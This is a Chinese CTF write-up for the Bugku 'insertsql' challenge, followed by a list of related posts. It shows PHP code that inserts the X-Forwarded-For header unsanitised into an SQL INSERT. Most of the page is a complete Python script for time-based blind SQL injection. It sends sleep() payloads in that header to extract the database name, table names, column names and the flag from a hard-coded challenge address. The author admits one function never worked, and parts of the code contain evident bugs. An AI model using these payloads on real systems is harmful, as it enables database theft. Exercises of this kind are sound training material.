bugku insertsql
0X00题目给出的PHP代码
error_reporting(0);
function getIp(){
$ip = '';
if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])){
$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
}else{
$ip = $_SERVER['REMOTE_ADDR'];
}
$ip_arr = explode(',', $ip);
return $ip_arr[0];
}
$host="localhost";
$user="";
$pass="";
$db="";
$connect = mysql_connect($host, $user, $pass) or die("Unable to connect");
mysql_select_db($db) or die("Unable to select database");
$ip = getIp();
echo 'your ip is :'.$ip;
$sql="insert into client_ip (ip) values ('$ip')"; //将得到的IP插入到数据库
mysql_query($sql);
0x01 insert sql漏洞
将消息插入数据库
一般出现地方:电商生成订单接口存在INSERT型SQL注入漏洞,可修改订单金额数据,生成订单时会往数据库插入数据,但此处使用了动态查询语句的方式进行插入,通过注入数据可以达到篡改订单数据的目的
本题注入点X_FORWARDED_FOR
0x02 Python 脚本:
import requests
import sys
import string def getdblen(url): #获得库名长度
sql="1'+(select case when(select length(database())={0}) then sleep(4) else 1 end) and '1'='1"
for i in range(1,50):
header={'X-Forwarded-For':sql.format(str(i))}
try:
s=requests.get(url,headers=header,timeout=3)
except:
print("database name len:",i)
break def gettablelen(url): #获得数据表名长度 没有输出 不知道错误在哪 很烦~~,查不到错误。有没有limit 都没有输出
#limit的作用是查询到好几行数据,选取其中的几行 limit 1,1就是 第二行一行的数据(从0开始计算行数)
sql="'+(select case when(select length((select table_name from information_schema.tables where table_schema=database() limit {0},1))={1}) then sleep(4) else 1 end) and '1'='1"
for n in range(0,5):
for i in range(1,20):
header={'X-Forwarded-For':sql.format(str(n),str(i))}
try:
s=requests.get(url,headers=header,timeout=3)
except:
print("table %s name len:%d"%(n,i))
break def getdb(url):
database_name=''
sql="1' and (case when (substr((select database()) from {0} for 1)='{1}') then sleep(4) else 1 end) and '1'='1"
#逐个字母破解数据库名,{0}、{1}相当于标记了两处变量,用于下面的format语句
for i in range(1,10): #猜测数据库名字在9个字符以内
for str in range(32,129): #通过循环,逐个字母匹配
if chr==128:
sys.exit(0)#如果没有匹配,就退出循环
header={'X-Forwarded-For':sql.format(i,chr(str))}
try:
s=requests.get(url,headers=header,timeout=3)
except:
database_name+=chr(str)
print(database_name)
break
return database_name def gettable(url):
table_name=''
payload="'+(select case when (substr((select group_concat(table_name) from information_schema.tables where table_schema=database()) from {0} for 1)='{1}') then sleep(4) else 1 end) and '1'='1"
guess = string.ascii_lowercase+string.ascii_uppercase+string.digits+string.punctuation
for i in range(1,50):
#print(i)
for str in guess:
if ord(str)==128:
sys.exit(0)
header={'X-Forwarded-For':payload.format(i,str)}
try:
s=requests.get(url,headers=header,timeout=3)
except:
table_name+=str
print(table_name)
break
return table_name def getcolumn(url):
column_name=''
sql="'+(select case when (substr((select group_concat(column_name) from information_schema.columns where table_name='flag') from {0} for 1)='{1}') then sleep(4) else 1 end) and '1'='1"
#guess = string.ascii_lowercase+string.ascii_uppercase+string.digits+string.punctuation
for i in range(20):
for str in range(32,129):
if str==128:
sys.exit(0)
payload={'X-Forwarded-For':sql.format(i,chr(str))}
try:
s=requests.get(url,headers=payload,timeout=3)
except:
column_name+=chr(str)
print(column_name)
break
return column_name def getmessage(url):
message=''
sql="'+(select case when(substr((select group_concat(flag) from flag)from {0} for 1)='{1}') then sleep(4) else 1 end) and '1'='1"
for i in range(1,35):
for str in range(32,129):
if str==128:
sys.exit(0)
payload={'X-Forwarded-For':sql.format(i,chr(str))}
try:
s=requests.get(url,headers=payload,timeout=3)
except:
message+=chr(str)
print(message)
break
return message if __name__=='__main__':
url="http://123.206.87.240:8002/web15/"
print(getdb(url))
#tablename = gettable(url)
#print(tablename)
#columname = getcolumn(url)
#message=getmessage(url) #print(temp.lower())
#getdblen(url)
#gettablelen(url)
#getdb(url)
代码借鉴了其他人的wp,并加上自己的一点想法,查询名长度等
总结:要加强写脚本的能力,多学习mysql语句,有好几个语句是因为不对才没有注入成功的。
bugku insertsql的更多相关文章
- bugku login2 writeup 不使用vps的方法
0x00前言 这个题是sql注入与命令执行相结合的一个题,思路有两个: 一.:sql注入登录web系统,命令执行反弹公网IP监听端口(需要vps),此种方法详见链接:http://www.bugku. ...
- bugku 密码学一些题的wp
---恢复内容开始--- 1.滴答滴 摩斯密码,http://tool.bugku.com/mosi/ 2.聪明的小羊 从提示猜是栅栏密码,http://tool.bugku.com/jiemi/ 3 ...
- 于bugku中游荡意外得到关于CBC翻转攻击思路
个人简介:渣渣一枚,萌新一个,会划水,会喊六六今天在bugku遇到关于CBC翻转攻击的题目,总结了一下关于CBC翻转攻击的原理,以及关于这道题目的解题思路个人博客:https://www.cnblog ...
- http://www.bugku.com:Bugku——PHP伪协议+魔幻函数+序列化的综合应用(http://120.24.86.145:8006/test1/)
这一道题目,幸好俺有基础知识护体,不然还真干不掉. 首先,登录看题目,取消隐藏代码的注释.可知可输入三个参数txt.file和password并进行逻辑判断:应该让txt==‘welcom ...
- http://www.bugku.com:Bugku——备份是个好习惯(http://120.24.86.145:8002/web16/)
看了bugku的这道题,陌生又熟悉. 题目首先说[备份是个好习惯],访问网站只有一串字符,,,,,emmmmm,这句话表明人家经常做备份,所以咯,肯定在网站哪里备份有网页信息.嘻嘻 1 ...
- http://www.bugku.com:Bugku——jsfuckWEB5(http://120.24.86.145:8002/web5/index.php)
今天又做了bugku上面的一道题.使用到了jsfuck,它是什么捏? 它是Javascript原子化的一种简易表达方式,用[]()!+就可以表示所有的Javascript字符,不依赖于浏览器. ...
- http://www.bugku.com:Bugku——SQL注入1(http://103.238.227.13:10087/)
Bugku——SQL注入1(http://103.238.227.13:10087/) 过滤了几乎所有的关键字,尝试绕过无果之后发现,下面有个xss过滤代码.经搜索得该函数会去掉所有的html标签,所 ...
- Bugku——Flag在index里(http://120.24.86.145:8005/post/)
Bugku——Flag在index里(http://120.24.86.145:8005/post/) 进入题目发现有一个file参数,查看源码,发现该参数可以包含php文件,并且题目提示,flag在 ...
- BugKu 2B+基于python的opencv的安装-------CTF 盲水印的套路
BugKu杂项-2B 下载图片后,binwalk下跑一跑,发现有个zip,分离. 值得一提的是,这个zip是伪加密的. 但是你在分离的时候,伪加密的图片也给你分离出来了.这两个图片2B和B2肉眼看起来 ...
随机推荐
- 201871010107-公海瑜《面向对象程序设计(java)》第八周学习总结
201871010107-公海瑜<面向对象程序设计(java)>第八周学习总结 项目 内容 这个作业属于哪个课程 https:// ...
- java执行hive命令或者脚本
java执行脚本 import java.io.*; import java.text.DateFormat; import java.text.SimpleDateFormat; import ja ...
- vue动画效果出现重叠,并且出现滚动条
背景 使用 vue 结合 animated css 第三方动画样式,简单地给页面组件加上切换时的 fade 淡入/淡出动画效果 当调试效果时发现,展示效果出现了问题,并且出现滚动条 原因 退场动画还没 ...
- java 随笔
Spring的scope="prototype"属性 - 多例 spring 默认scope 是单例模式(singleton),这样只会创建一个Action对象,每次访问都是同一个 ...
- [LeetCode] 321. Create Maximum Number 创建最大数
Given two arrays of length m and n with digits 0-9 representing two numbers. Create the maximum numb ...
- 官方一步解决各种Windows更新问题
原文部分: 修复 Windows 更新问题 适用于: Windows 8.1Windows 10Windows 7 此分布指南有什么作用? 此分步指南提供的步骤可修复 Windows 更新的问题, ...
- 修改Windows中文用户名为英文(更全面的方法)
网上方法很多,但是大多不全面. 我的建议是 1,新建/切换管理员账号 net user administrator /active:yes 然后点击桌面,使用Alt+F4组合键 注销中文用户名账号,并 ...
- sonatype nexus安装教程
1. 安装nexus前需要先安装maven.(详见jdk安装教程)2. 将nexus-2.0.2.rar放到d:\teamwork中,点击右键,解压到当前文件夹中.其中包含两个文件夹:nexus,so ...
- 为某金融企业开发团队分享DevOps Server流水线使用经验
http://www.cnblogs.com/danzhang/ DevOps MVP 张洪君
- 实战django(二)--登录实现记住我
上节初步实现了登录和注册模块,这节我们进一步实现“记住我”功能. 大体功能分为以下模块: 1.在登录时如果勾选记住我,那么就将用户username存进cookie中,跳转到index页面: 2.此时, ...